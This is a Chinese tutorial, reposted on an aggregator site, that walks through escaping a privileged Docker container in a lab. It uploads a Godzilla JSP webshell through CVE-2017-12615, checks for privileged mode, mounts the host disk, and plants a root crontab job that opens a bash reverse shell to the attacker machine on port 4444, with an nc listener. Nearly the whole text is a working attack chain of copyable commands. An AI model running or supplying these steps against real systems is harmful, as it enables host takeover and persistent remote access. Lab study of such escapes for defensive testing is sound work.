欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 财经 > 产业 > 特权模式docker逃逸

特权模式docker逃逸

2025/2/5 9:11:45 来源:https://blog.csdn.net/vt_yjx/article/details/145387577  浏览:    关键词:特权模式docker逃逸

目录

1.环境

2.上线哥斯拉

3.特权模式逃逸

1.判断是否为docker环境

2.判断是否为特权模式

3.挂载宿主机磁盘到docker

 4.计划任务反弹shell


1.环境

ubuntu部署一个存在CVE-2017-12615的docker:   (ip:192.168.117.147)    

kali(ip:192.168.117.128)

哥斯拉

2.上线哥斯拉

这里用PUT上传哥斯拉生成的jsp马直接上线:

3.特权模式逃逸

1.判断是否为docker环境

ls -alh /.dockerenv    //如果存在即为docker环境

2.判断是否为特权模式

cat /proc/self/status | grep CapEff	//cat /proc/self/status​ 用于查看当前进程的状态信息。
//grep CapEff​ 用于从输出结果中过滤出 CapEff 相关的行
//capability ​是一种权限机制,利用 CapEff 我们可以了解当前进程实际拥有的权限和能力。

 如果是这两种情况之一,即可判断为当前docker为特权模式启动 :

0000003fffffffff
0000001fffffffff

3.挂载宿主机磁盘到docker

fdisk -l                 //列出所有磁盘,找到宿主机的磁盘
mkdir ceshi              //创建一个目录用于挂载磁盘
mount /dev/sda1  ceshi   //将宿主机的磁盘挂载到ceshi目录下,即可操作宿主机磁盘上的内容了

 4.计划任务反弹shell

当前docker没有vi,vim,nano等,这里用echo写入:

touch test.sh                
echo 'bash -i >& /dev/tcp/192.168.117.128/4444 0>&1' >test.sh    
echo '* * * * * root bash test.sh' >> /etc/crontab    

然后kali这边监听就可以了:

nc -lvvp 4444

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com